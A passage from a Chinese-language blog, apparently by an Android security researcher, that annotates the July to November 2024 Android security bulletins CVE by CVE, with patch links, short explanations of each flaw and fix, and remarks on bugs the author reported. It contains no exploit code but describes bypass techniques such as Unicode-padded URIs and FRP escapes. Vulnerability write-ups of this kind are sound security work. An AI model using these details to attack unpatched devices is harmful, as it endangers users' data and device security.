基本类似,致谢信息也都是 Google 的同一个人,应该是代码审查的时候看见的。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43767" target="_blank" rel="noopener">CVE-2024-43767</a> RCE High <a href="https://android.googlesource.com/platform/external/skia/+/796c2040f641bb287dba66c9823ce45e9f8b5807" target="_blank" rel="noopener">1</a><br>SkBlurMF.cpp 有一个地方调用了 computeImageSize() 计算要分配的大小,但没检查计算时发生溢出的情况(这个时候会返回 0),会在下方分配出大小为 0 的内存。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43097" target="_blank" rel="noopener">CVE-2024-43097</a> EoP High <a href="https://android.googlesource.com/platform/external/skia/+/8d355fe1d0795fc30b84194b87563f75c6f8f2a7" target="_blank" rel="noopener">1</a><br>SkRegion.cpp 内计算分配内存大小时可能会发生溢出。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43768" target="_blank" rel="noopener">CVE-2024-43768</a> EoP High <a href="https://android.googlesource.com/platform/external/skia/+/b5543cb8c6b95623743016055220378efe73eb93" target="_blank" rel="noopener">1</a><br>src/pdf/SkDeflate.cpp skia_alloc_func 更加严格地校验 size 和 items,看起来也是类似的问题,防止数学计算产生非预期的结果进而导致分配的内存大小小于预期。<br>P.S. 感兴趣的人还可以看看 SkTFitsIn 这个函数的实现,我看了一眼,感觉非常仙人</p><h2 id="2024-11-01"><a href="#2024-11-01" class="headerlink" title="2024-11-01"></a>2024-11-01</h2><h3 id="Framework-1"><a href="#Framework-1" class="headerlink" title="Framework"></a>Framework</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40660" target="_blank" rel="noopener">CVE-2024-40660</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/native/+/064ce6e3235b6318be1e41f1bac9595a98e4aafa" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/native/+/064ce6e3235b6318be1e41f1bac9595a98e4aafa" target="_blank" rel="noopener">2</a><br>看起来是和 CVE-2024-34743 类似的问题,引用拷贝写成了值拷贝。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43081" target="_blank" rel="noopener">CVE-2024-43081</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/31c098c4271ad4fdfb3809e05017ead8d9f6580f" target="_blank" rel="noopener">1</a><br>此漏洞由我发现并报告。<br>此漏洞是 CVE-2024-0046 的变体,当时的补丁只限制了系统 app 不能被安装为 instant app,很容易能想到除了系统 app,设备管理 app 也不应该被限制,直接又提了个报告。补丁加上了 device admin app 和被保护的 app 的检测。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43085" target="_blank" rel="noopener">CVE-2024-43085</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/2457d4e459ee6ffd099b9ff7cce9c83119c3ce66" target="_blank" rel="noopener">1</a><br>USB 传输模式切换超时的时候,如果当前处于 Accessory 模式,不应该继续保持在这个模式,以阻止 USB 设备继续通过 Android Open Accessory 协议和 Android 设备进行交互。<br>Android Open Accessory 文档:<a href="https://source.android.com/docs/core/interaction/accessories/protocol" target="_blank" rel="noopener">https://source.android.com/docs/core/interaction/accessories/protocol</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43093" target="_blank" rel="noopener">CVE-2024-43093</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/67d6e08322019f7ed8e3f80bd6cd16f8bcb809ed" target="_blank" rel="noopener">1</a><br>此漏洞由 LSPosed 团队报告。<br>在传入的 URI 中插入 Unicode 可忽略代码点可绕过 /sdcard/Android/data 访问限制。技术细节:<a href="https://t.me/vvb2060Channel/855" target="_blank" rel="noopener">https://t.me/vvb2060Channel/855</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43082" target="_blank" rel="noopener">CVE-2024-43082</a> ID High <a href="https://android.googlesource.com/platform/frameworks/base/+/6aa1b4fbf5936a1ff5bdbb79397c94910a6ed8f5" target="_blank" rel="noopener">1</a><br>设置新用户头像时检查返回的 URI,避免出现跨用户读取。<br>这个地方我之前尝试过利用,但是没成功,没能拦截到任何一个 intent,不知道漏洞的作者是怎么做到的。看补丁只给 12 12L 更新了,可能是安卓大版本的行为差异导致。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43084" target="_blank" rel="noopener">CVE-2024-43084</a> ID High <a href="https://android.googlesource.com/platform/frameworks/base/+/50eec20b570cd4cbbe8c5971af4c9dda3ddcb858" target="_blank" rel="noopener">1</a><br>NotificationManagerService 检查 notification URI 的时候,如果它带有 Person 对象,不仅要检查它的 Icon URI 还要检查 mUri。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43086" target="_blank" rel="noopener">CVE-2024-43086</a> ID High <a href="https://android.googlesource.com/platform/frameworks/base/+/55a3d36701bb874358f685d3ac3381eda10fcff0" target="_blank" rel="noopener">1</a><br>如果账号的 authenticator uid 发生改变,清掉对应账号类型的所有数据。看起来是 AccountManagerService 里的数据能悬空。</p><h3 id="System-1"><a href="#System-1" class="headerlink" title="System"></a>System</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43091" target="_blank" rel="noopener">CVE-2024-43091</a> RCE High <a href="https://android.googlesource.com/platform/external/skia/+/0b628a960e74197ace9831ef0727f5ba7ab6ac10" target="_blank" rel="noopener">1</a><br>libskia 的一个整数溢出问题,之前的代码只检查了 <code>dst->computeImageSize()</code> 的结果没溢出,但下面分配了 size 乘三倍的内存,这里有可能发生溢出导致分配到的内存空间小于预期,进而发生越界写。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-29779" target="_blank" rel="noopener">CVE-2024-29779</a> EoP High <a href="https://android.googlesource.com/platform/system/keymint/+/1f6bf0cae40c1076faa39707c56d3994e73d01e2" target="_blank" rel="noopener">1</a><br>没太看懂,看起来是代码里实现了 Keymint3 的 ATTESTATION_ID_SECOND_IMEI 但是忘记启用的样子</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34719" target="_blank" rel="noopener">CVE-2024-34719</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/Bluetooth/+/b0e4375577ba7e21bd40edac5990bea418ecdc8c" target="_blank" rel="noopener">1</a><br>蓝牙组件里禁止传入的 AttributionSource 是 null 的情况,因为蓝牙依赖 AttributionSource 检查调用者权限,传 null 的时候不会触发 AttributionSource 反序列化也就不会触发权限校验流程。<br>题外话:这个 bug 的 id 是 242996380,估计都是两年前的了,这个处理速度,我也不直接评价了,我就给四个字,令人咋舌</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40661" target="_blank" rel="noopener">CVE-2024-40661</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/Permission/+/ffd81f212b5594b498f0ba07645c7a181540e494" target="_blank" rel="noopener">1</a><br>device admin 不允许主动授予隐私相关的权限,比如录音照相和位置权限,这个检查要把权限的权限组一起纳入检查,而不是只检查权限名。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43080" target="_blank" rel="noopener">CVE-2024-43080</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/26ce013dfd7e59a451acc66e7f05564e0884d46b" target="_blank" rel="noopener">1</a><br>此漏洞由我发现并报告。<br>Settings AppRestrictionsFragment 接收 app 传回的原始 intent 之后不能直接传给 startActivity,避免在 AIDL 调用过程中出现类型混淆污染后续数据。<br>更多可参考 <a href="https://konata.github.io/posts/creator-mismatch/" target="_blank" rel="noopener">https://konata.github.io/posts/creator-mismatch/</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43087" target="_blank" rel="noopener">CVE-2024-43087</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/6253b87704bb097ad9963941bdddf3b86906a73e" target="_blank" rel="noopener">1</a><br>Settings AccessibilitySettings 显示无障碍服务列表的时候会过滤 service label 和 activity label 相同的服务,导致其被隐藏不显示而仍然拥有无障碍权限。<br>这个处理看不懂原本是干啥的,完全多此一举,补丁就是删掉了对应代码。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43088" target="_blank" rel="noopener">CVE-2024-43088</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/975c28535419be1cc45f66712f41e4a7a40e6001" target="_blank" rel="noopener">1</a><br>此漏洞由我发现并报告。<br>Settings 中 AppInfoBase 是一个 base fragment,接收调用者指定的 user handle 然后直接使用,全程没进行任何检查,导致可以指定任意用户从而代表其他用户修改其 app 的权限。补丁加了个检查保证调用者必须要有 INTERACT_ACROSS_USERS_FULL 权限。<br>这个漏洞是我之前编写 <a href="https://blog.canyie.top/2024/11/05/android-platform-common-vulnerabilities/">Android 平台常见安全漏洞类型</a> 的时候注意到 CVE-2023-21107 这个相似的漏洞,顺便搜索了一下涉及的 Intent.EXTRA_USER_HANDLE 还有没有其他地方有引用,然后就让我发现了这个一模一样的漏洞,属于是白捡天上掉下来的钱了。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43089" target="_blank" rel="noopener">CVE-2024-43089</a> EoP High <a href="https://android.googlesource.com/platform/packages/providers/MediaProvider/+/33ff6a663eea1fcdd2b422b98722c1dee48a7f6a" target="_blank" rel="noopener">1</a><br>MediaProvider 中,app 尝试重命名文件时需要检查其权限,以免在 MediaProvider 数据库中留下虚假的记录,让 app 可以读写原本不属于它的文件。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43090" target="_blank" rel="noopener">CVE-2024-43090</a> ID High <a href="https://android.googlesource.com/platform/frameworks/base/+/4677d3ee0ec2d31acc6108fea7be6cced971da37" target="_blank" rel="noopener">1</a><br>此漏洞由我发现并报告。<br>Android 有一个功能叫做 keyboard shortcuts helper,其实现是系统向当前前台 app 收集可用快捷键,然后交由 SystemUI 把它渲染出来,其包含着一个隐藏的 Icon 对象,可以使用反射进行修改。补丁表示这个功能不应该由 app 使用,直接清空了所有 app 提供的 icon。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43083" target="_blank" rel="noopener">CVE-2024-43083</a> DoS High <a href="https://android.googlesource.com/platform/packages/modules/Wifi/+/62f61e19524e9a55cadd1116c9448ff34b977e50" target="_blank" rel="noopener">1</a><br>WiFi 模块中忘记校验提供的 WifiConfiguration 中的多个字段,可能引发拒绝服务,应该是内存资源耗尽。最近这种漏洞是真的多,几乎每个月都能看见。</p><h2 id="2024-10-01"><a href="#2024-10-01" class="headerlink" title="2024-10-01"></a>2024-10-01</h2><h3 id="Framework-2"><a href="#Framework-2" class="headerlink" title="Framework"></a>Framework</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-0044" target="_blank" rel="noopener">CVE-2024-0044</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/954b2874b85b6cd0d6bb12cd677cdf22e5dbd77b" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/base/+/836750619a8bce0bf78fe0549f9990e294671563" target="_blank" rel="noopener">2</a><br>是不是感觉这个 CVE 号很熟悉?对,这个漏洞在三月公告里就放过一次。后面我发现原补丁给的修复并不充分重新发送了一个报告,给这个三月份就应该被修复的漏洞续命到了十月。<br>更多细节可以参考我的 PoC & writeup: <a href="https://github.com/canyie/CVE-2024-0044" target="_blank" rel="noopener">https://github.com/canyie/CVE-2024-0044</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40676" target="_blank" rel="noopener">CVE-2024-40676</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/e8a53246607b52b15269f97aef9ba7e928ba2473" target="_blank" rel="noopener">1</a><br>AccountManagerService checkKeyIntent 内添加新的检查,拒绝所有 data 带有 content URI 的 intent。<br>好暴力的补丁,让人摸不着头脑,一开始以为是 URI grant,仔细研究之后发现还不是,问题比较复杂,利用非常精妙,准备以后单独写一篇文章描述这个问题(挖坑+1)。<br>更新:已经给出完整分析,可查看 <a href="http://blog.canyie.top/2024/11/07/self-changing-data-type/">http://blog.canyie.top/2024/11/07/self-changing-data-type/</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40675" target="_blank" rel="noopener">CVE-2024-40675</a> DoS High <a href="https://android.googlesource.com/platform/frameworks/base/+/c6b5490ec659b5854fd429f453f75de5befa6359" target="_blank" rel="noopener">1</a><br>把 URI 解析成 Intent 的时候检查里面每个字段的结尾分号是否存在,不存在则直接终止解析并抛出 URISyntaxException。</p><h3 id="System-2"><a href="#System-2" class="headerlink" title="System"></a>System</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40673" target="_blank" rel="noopener">CVE-2024-40673</a> RCE High <a href="https://android.googlesource.com/platform/libcore/+/b17fd2f8fe468e7d32e713b442f610cd33e4e7a9%5E%21/#F0" target="_blank" rel="noopener">1</a><br>Java ZipFile API 拒绝文件头无效的 zip 文件。更多请参阅发现者的博客:<a href="https://wrlus.com/android-security/cve-2024-40673/" target="_blank" rel="noopener">https://wrlus.com/android-security/cve-2024-40673/</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40672" target="_blank" rel="noopener">CVE-2024-40672</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/IntentResolver/+/ccd29124d0d2276a3071c0418c14dec188cd3727" target="_blank" rel="noopener">1</a><br>设置向导结束之前不允许打开 ChooserActivity,避免 FRP 绕过。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40677" target="_blank" rel="noopener">CVE-2024-40677</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/db26138f07db830e3fb78283d37de3c0296d93cb" target="_blank" rel="noopener">1</a><br>设置向导结束之前不允许打开“应用电池用量”的管理页面,避免 FRP 绕过。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40674" target="_blank" rel="noopener">CVE-2024-40674</a> DoS High <a href="https://android.googlesource.com/platform/packages/modules/Wifi/+/debc548ac085ba1ab0582172b97d965e9a1ea43a" target="_blank" rel="noopener">1</a><br>插入 WifiConfiguration 的时候,如果 SSID 以引号开头,之前的代码不会检查它的长度,可以导致拒绝服务。补丁就是加上了这种情况的检查。只影响 14。</p><h2 id="2024-09-01"><a href="#2024-09-01" class="headerlink" title="2024-09-01"></a>2024-09-01</h2><p>这个栏目不如改叫每月安全补丁提交信息翻译 都没啥分析了<br>已知被在野利用漏洞:CVE-2024-32896</p><h3 id="Framework-3"><a href="#Framework-3" class="headerlink" title="Framework"></a>Framework</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-32896" target="_blank" rel="noopener">CVE-2024-32896</a> EoP High <a href="https://android.googlesource.com/platform/system/sepolicy/+/92cbf8d4f18ccb2c488f50b7300bd6bfc33023aa" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/base/+/8b7b2c66ca96d711fb364cbcc9d655197d9743e0" target="_blank" rel="noopener">2</a><br>恢复出厂设置时,在重启到 recovery 之前删除 data 分区加密密钥,保证重启失败(比如按音量键导致设备提前进入 bootloader 模式而非 recovery)时设备数据也无法被恢复。此漏洞已知正在被数据取证公司在野利用。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40658" target="_blank" rel="noopener">CVE-2024-40658</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/av/+/6d23fa05a40e5462d4b9bad28afa932e6e12a4f3" target="_blank" rel="noopener">1</a><br>libstagefright 中处理 HDR10+ 视频的一个越界写入问题。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40662" target="_blank" rel="noopener">CVE-2024-40662</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/e7af00cafb52a25933ec4edb80c5111d42af0237" target="_blank" rel="noopener">1</a><br>解析 uri 时移除 scheme 中的 “://” 字符串。</p><h3 id="System-3"><a href="#System-3" class="headerlink" title="System"></a>System</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40650" target="_blank" rel="noopener">CVE-2024-40650</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/2968ccc911956fa5813a9a6a5e5c8970e383a60f" target="_blank" rel="noopener">1</a><br>设置应用中编辑 wifi 信息时限制最长只能输入 500 个字符,看漏洞描述是能 crash Settings 从而绕过 FRP</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40652" target="_blank" rel="noopener">CVE-2024-40652</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/2909433f7d59dcdd0c74044b1c8e9f48927193dc" target="_blank" rel="noopener">1</a><br>设置向导结束之前如果尝试启动系统设置,直接关闭</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40654" target="_blank" rel="noopener">CVE-2024-40654</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/f1d0079c91734168c150f839168544f407b17b06" target="_blank" rel="noopener">1</a><br>补丁链接跟五月份的 CVE-2024-23707 是一样的,不知道为什么又放了一遍。<br>更新:注意到之前的补丁只给 14 更新了,这次给 12-14 都更新了,应该是解决 14 之前版本没打补丁的问题。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40655" target="_blank" rel="noopener">CVE-2024-40655</a> EoP High <a href="https://android.googlesource.com/platform/packages/services/Telecomm/+/eeef54b37a362f506ea3aa155baddc545b6a909a" target="_blank" rel="noopener">1</a><br>绑定 CallScreenService 超时了也需要 unbind。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40657" target="_blank" rel="noopener">CVE-2024-40657</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/8261e0ade3b414fea61d7fe9d8bc6df7a3fc8603" target="_blank" rel="noopener">1</a><br>Settings 加载应用定义的账号配置页面时,由于是直接解析 xml 然后加载,android:fragment 这个属性也会生效,从而可以调起 Settings 内的任意 fragment。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40656" target="_blank" rel="noopener">CVE-2024-40656</a> ID High <a href="https://android.googlesource.com/platform/packages/services/Telecomm/+/f3e6a6c02439401eb7aeb3749ee5ec0b51a625b9" target="_blank" rel="noopener">1</a><br>ConnectionService createConference 忘了检查传入的 StatusHints 是否包含跨用户的 icon。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-40659" target="_blank" rel="noopener">CVE-2024-40659</a> DoS High <a href="https://android.googlesource.com/platform/packages/modules/RemoteKeyProvisioning/+/c65dce4c6d8d54e47dce79a56e29e2223a2354e6" target="_blank" rel="noopener">1</a><br>RKP app 的 RemoteProvisioningService 限制只能 system server 才能 bind。<br>这个漏洞我们很早就注意到了,但是研究之后觉得没有安全风险就没报,结果是高危漏洞,痛失 7000 😭 虽然没看懂咋触发 DoS,看描述是可以为其他应用上传密钥从而持久禁用相关功能。<br>关于 RKP 的功能说明:<a href="https://t.me/vvb2060Channel/812" target="_blank" rel="noopener">https://t.me/vvb2060Channel/812</a></p><h2 id="2024-08-01"><a href="#2024-08-01" class="headerlink" title="2024-08-01"></a>2024-08-01</h2><p>可能被在野利用的漏洞:CVE-2024-36971,内核的一个 UAF 漏洞<br>(严重怀疑打错了,可能想写的是 CVE-2024-34735)</p><h3 id="Framework-4"><a href="#Framework-4" class="headerlink" title="Framework"></a>Framework</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-20971" target="_blank" rel="noopener">CVE-2023-20971</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/6c22d6c1e69676c5c68d21928aa5486bfd1bd131" target="_blank" rel="noopener">1</a><br>PermissionManagerServiceImpl 中,有个判断看是不是尝试移除非动态的权限,结果只有个 log 忘了 return。<br>这个 CVE 去年在 Pixel 六月公告就出现过,当时评的是 moderate,给 13 更新了,结果这次奇怪地给 14 也更新了,补丁是今年创建的,里面的 android id 也跟公告里的对不上,翻 CVE 描述也是说问题在 updatePermissionTreeSourcePackage 里而非补丁改的 removePermission,怀疑根本就不是同一个问题,不知道为啥复用了 CVE ID。</p><blockquote><p>Summary:privilege escalation - obtain dangerous system permissions silently utilizing the <code><permission-tree></code> element<br>Details:In removePermission of PermissionManagerServiceImpl.java, there is a possible way to obtain dangerous permissions without user consent due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.</p></blockquote><blockquote><p>In updatePermissionTreeSourcePackage of PermissionManagerServiceImpl.java, there is a possible way to obtain dangerous permissions without user consent due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-225880325</p></blockquote><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-21351" target="_blank" rel="noopener">CVE-2023-21351</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/26522c0e82fd3a9bcbd01409217291d97dcdabcf" target="_blank" rel="noopener">1</a><br>跟 CVE-2024-0034 类似,给 Android 14 以下系统的,绑定到 TextToSpeech Service,Job Service,Print Service,Sync Service 和 MediaRoute2Provider Service 的时候指定 flag 阻止 BAL<br>(早不给,这都24年8月了才给)</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34731" target="_blank" rel="noopener">CVE-2024-34731</a> EoP High <a href="https://android.googlesource.com/platform/hardware/interfaces/+/0ff19d1f89614fce9454fb415bcbfcbcf3caf76e" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/av/+/4b68b00993849b6a7f0e6d075bc2c8bb2e184e61" target="_blank" rel="noopener">2</a> <a href="https://android.googlesource.com/platform/hardware/interfaces/+/d63d09261806f7f1aa01406867f2a9e169356fca" target="_blank" rel="noopener">3</a> <a href="https://android.googlesource.com/platform/system/security/+/d3805312d73433e34ef69a645b553a2969c5dc93" target="_blank" rel="noopener">4</a> <a href="https://android.googlesource.com/platform/system/nfc/+/1037992b9abcde1e3560bd895f62644a68563b3d%5E%21/#F0" target="_blank" rel="noopener">5</a><br>同时修改了五个模块(health HAL、libmediatranscoding、neuralnetworks、keystore2、nfc)的代码,看起来是对 Binder DeathRecipient cookie 的管理问题。<br>去翻了一下文档,AIBinder_unlinkToDeath 的文档里有这句话:</p><blockquote><p>Be aware that it is not safe to immediately deallocate the cookie when this call returns. If you need to clean up the cookie, you should do so in the onUnlinked callback, which can be set using AIBinder_DeathRecipient_setOnUnlinked.</p></blockquote><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34734" target="_blank" rel="noopener">CVE-2024-34734</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/207584fb6f820eba14251251d7e9331bfd57adb8%5E%21/#F0" target="_blank" rel="noopener">1</a><br>锁屏的时候下拉状态栏,点开 Active apps,里面会显示当前活跃的应用,右边有个 Stop 按钮停止进程,用这种方式可以杀掉 VPN app。应该改成先解锁再显示。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34735" target="_blank" rel="noopener">CVE-2024-34735</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/26522c0e82fd3a9bcbd01409217291d97dcdabcf" target="_blank" rel="noopener">1</a><br>补丁链接跟 CVE-2023-21351 是一样的。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34737" target="_blank" rel="noopener">CVE-2024-34737</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/8b473b3f79642f42eeeffbfe572df6c6cbe9d79e" target="_blank" rel="noopener">1</a><br>限制 app 一分钟只能修改 60 次 PiP aspect ratio,否则 “could result flood of PiP resizing requests and freeze the PiP window”。怀疑是导致 pip 窗口渲染异常,使得其不可见,从而在用户无感知的情况下长期持有前台权限。<br>setAspectRatio 文档:<a href="https://developer.android.com/reference/android/app/PictureInPictureParams.Builder#setAspectRatio(android.util.Rational)" target="_blank" rel="noopener">https://developer.android.com/reference/android/app/PictureInPictureParams.Builder#setAspectRatio(android.util.Rational)</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34738" target="_blank" rel="noopener">CVE-2024-34738</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/21d764807b3dcd402d63e2b4c9fbae1c9965400a" target="_blank" rel="noopener">1</a><br>如果调用者没有 GET_APP_OPS_STATS 特权,不返回被标记了 restrictRead 的 Op。简单搜索只找到 ACCESS_RESTRICTED_SETTINGS 一项是 restricted 的,不知道具体有什么作用。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34739" target="_blank" rel="noopener">CVE-2024-34739</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/50e1f8f36e32928d10e72324c05a203a6db9f7fb" target="_blank" rel="noopener">1</a><br>设置向导未完成时,插入 USB 设备不弹出 activity,避免 FRP 绕过。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34740" target="_blank" rel="noopener">CVE-2024-34740</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/libs/modules-utils/+/700c28908051ceb55e1456d2d21229bc17c6895a" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/base/+/e8b6505647be558ed3a167a1e13c53dfc227d22b" target="_blank" rel="noopener">2</a><br>FastDataOutput 内会检查一次写入的字符串数据不能超过 65535 个字节,但 BinaryXmlSerializer 中 attributeBytesHex 与 attributeBytesBase64 两个方法会按照 byte[] 写入,走这条路径是没有检查的。这两个方法会将 value 的长度作为一个 unsigned short 写入,如果 length > 65535 就会丢失高位的数据,之后将 value 作为 byte[] 整体写入。下次开机时使用 BinaryXmlPullParser 读取并解析该文件,先读数据长度(unsigned short)再读对应大小的数据,会导致数据没被完全消耗完,后续解析出来的数据被污染,合理利用可以实现注入。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34741" target="_blank" rel="noopener">CVE-2024-34741</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/abfaf702ef833dc4d374492d45c615c6e6de7f01" target="_blank" rel="noopener">1</a><br>WindowState setForceHideNonSystemOverlayWindowIfNeeded 内要检查父窗口的属性,否则 SAW 窗口下的其他类型子窗口不会被隐藏</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34743" target="_blank" rel="noopener">CVE-2024-34743</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/native/+/3f85323b27d95a57bfa87cbf68dd4a143f9f88ad" target="_blank" rel="noopener">1</a><br>surfaceflinger 内遍历 states 时写成了值拷贝,然后 sanitize 事实上不会影响到原来的对象,应该改成用引用。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34736" target="_blank" rel="noopener">CVE-2024-34736</a> ID High <a href="https://android.googlesource.com/platform/frameworks/av/+/6cfd048292b2cc706811a22c9078208cfa8e6d24%5E%21/#F0" target="_blank" rel="noopener">1</a><br>StagefrightRecoder 在音源为麦克风且视频源为 surface(设备画面?)时禁用 B 帧支持,否则会出现不同步。音视频超出了我的知识体系,没办法啊~~</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34742" target="_blank" rel="noopener">CVE-2024-34742</a> DoS High <a href="https://android.googlesource.com/platform/frameworks/base/+/688e5c3012eb0a4ea88361588cf5026c10e4a42c" target="_blank" rel="noopener">1</a><br>更改逻辑保证数据始终被写入到 device_owners2.xml 。只影响14,应该跟之前的 CVE-2024-0047 是类似的问题。</p><h3 id="System-4"><a href="#System-4" class="headerlink" title="System"></a>System</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34727" target="_blank" rel="noopener">CVE-2024-34727</a> ID High <a href="https://android.googlesource.com/platform/packages/modules/Bluetooth/+/6afad4b377b5bc3f38b28296e746b674173f99d8" target="_blank" rel="noopener">1</a><br>蓝牙 sdp_utils.cc 中检查 p_attr->attr_len_type 是否为预期,防止后续缓冲区溢出。</p><h2 id="2024-07-01"><a href="#2024-07-01" class="headerlink" title="2024-07-01"></a>2024-07-01</h2><p>已知被利用漏洞:<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-4610" target="_blank" rel="noopener">Arm Mali GPU Kernel Driver Use-After-Free Vulnerability CVE-2024-4610</a><br>(Android 安全公告未发出警告,信息来源于 CISA Known Exploited Vulnerabilities Catalog)</p><h3 id="Framework-5"><a href="#Framework-5" class="headerlink" title="Framework"></a>Framework</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31320" target="_blank" rel="noopener">CVE-2024-31320</a> EoP Critical <a href="https://android.googlesource.com/platform/frameworks/base/+/9722ce9d733edab76163fbcd21b231424e3d7061" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/base/+/df49e0e3083b0707e2cca5a5956b49f14ded078e" target="_blank" rel="noopener">2</a><br>CompanionDeviceManagerService 处理配对请求时接受一个 AssociationRequest,里面包含一个变量 <code>mSkipPrompt</code> 可以跳过用户确认,原本预期这个值只应该由系统设置,但代码里出现逻辑错误,<code>mayAssociateWithoutPrompt</code> 返回 false 时没有覆盖掉 app 设置的值。只影响 Android 13 以前。<br>这个严重给的名副其实,可惜我的 CVE-2024-31318 没给严重 😭</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31331" target="_blank" rel="noopener">CVE-2024-31331</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/c8694bbccfb9c19aefed536ea710230107c935eb" target="_blank" rel="noopener">1</a><br>调用 <code>setMimeGroup</code> 成功后要发送 ACTION_PACKAGE_CHANGED 广播。不懂不发送会有什么问题。漏洞描述:</p><blockquote><p>In setMimeGroup of PackageManagerService.java, there is a possible way to hide the service from Settings due to a logic error in the code. This could lead to local escalation of privilege with User execution privileges needed. User interaction is needed for exploitation.</p></blockquote><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34720" target="_blank" rel="noopener">CVE-2024-34720</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/293e9ac230851acbec73f5ab12928d113d6283e1" target="_blank" rel="noopener">1</a><br>有新进程连接到 Zygote 时校验其 